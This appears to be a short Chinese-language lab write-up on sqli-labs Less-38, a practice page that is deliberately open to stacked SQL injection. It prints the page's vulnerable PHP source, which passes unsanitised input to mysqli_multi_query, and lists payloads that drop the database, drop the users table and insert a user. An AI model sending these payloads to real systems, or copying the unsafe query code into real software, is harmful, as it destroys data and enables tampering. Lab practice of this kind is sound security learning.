SQL injection Less38 (stack injection)

<?phpif(isset($_GET['id'])){$id=$_GET['id'];// connectivity//mysql connections for stacked query examples.$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);// Check connectionif (mysqli_connect_errno($con1)){    echo "Failed to connect to MySQL: " . mysqli_connect_error();}else{    @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");}$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";/* execute multi query */if (mysqli_multi_query($con1, $sql)){        /* store first result set */    if ($result = mysqli_store_result($con1))    {        if($row = mysqli_fetch_row($result))        {            echo '<font size = "5" color= "#00FF00">';	            printf("Your Username is : %s", $row[1]);            echo "<br>";            printf("Your Password is : %s", $row[2]);            echo "<br>";            echo "</font>";        }// mysqli_free_result($result);    }        /* print divider */    if (mysqli_more_results($con1))    {            //printf("-----------------\n");    }     //while (mysqli_next_result($con1));}else     {	echo '<font size="5" color= "#FFFF00">';	print_r(mysqli_error($con1));	echo "</font>";      }/* close connection */mysqli_close($con1);}	else { echo "Please input the ID as parameter with numeric value";}?>

==mysqli_multi_query() 函数执行一个或多个针对数据库的查询.多个查询用分号进行分隔==
mysqli_store_result() 转移上一次查询返回的结果集
mysqli_fetch_row() 函数从结果集中取得一行,并作为枚举数组返回.

所以只显示第一个查询的结果,不显示后面的查询结果.

再看这一题,可以和Less1一样,用union注入,可以用来查询数据.

这里我用堆叠注入试了试几个payload
?id=1';1=1
?id=1';1=2
?id=1';nihao
?id=1';nihao'

所以的结果都是这样

所以页面只展示第一条查询的结果.后面的查询都无关.

所以我们这里用堆叠注入是查不出数据的,但是==插入数据,删除数据,更新数据,修改表名、数据库名什么的都是可以的==
?id=1';drop database security;
?id=1';drop table users;
?id=1';insert into users(username,password) values('happy','coder');